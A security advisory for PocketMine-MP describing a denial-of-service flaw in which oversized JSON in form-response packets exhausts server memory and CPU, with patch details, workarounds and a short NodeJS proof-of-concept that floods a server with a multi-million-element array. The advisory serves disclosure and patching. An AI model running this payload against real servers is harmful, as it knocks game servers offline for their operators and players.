PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling
Impact
The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.
The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.
Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID
Workarounds
This issue can be worked around in a plugin using DataPacketReceiveEvent by:
- checking the max size of the
formDatafield - making sure the form ID is not repeated
However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.
PoC
-
Join a PocketMine-MP server as a regular player (no special permissions needed).
-
Use a modified client or packet-sending script to send a
ModalFormResponsePacketwith:- Any non-existent
formId formDatacontaining a massive JSON array (e.g., 10+ MB payload).
- Any non-existent
-
The server will attempt to parse the JSON and may freeze or become unresponsive.
Example NodeJS pseudocode:
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'Test';
const client = createClient({
host,
port,
username,
offline: true
});
const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';
client.on('spawn', () => {
console.log('[*] Connected & spawned. Sending malicious packet...');
client.write('modal_form_response', {
formId: 9999, // Form inexistant
formData: hugePayload // JSON énorme
});
console.log('[*] Packet sent. The server should start freezing shortly.');
});
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | pocketmine/pocketmine-mp | < 5.39.2 | 5.39.2 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-770- Platform
- Composer
- Package
pocketmine/pocketmine-mp- Disclosed
- 06.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-788v-5pfp-93ff - CC BY 4.0
Vulnerability history: pocketmine/pocketmine-mp
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 30
- First → latest
- 11.2020 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 20
- Medium 8
- Low 2
Disclosures per year
- 2020: 1
- 2021: 1
- 2022: 11
- 2023: 8
- 2024: 2
- 2025: 2
- 2026: 5
-
PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.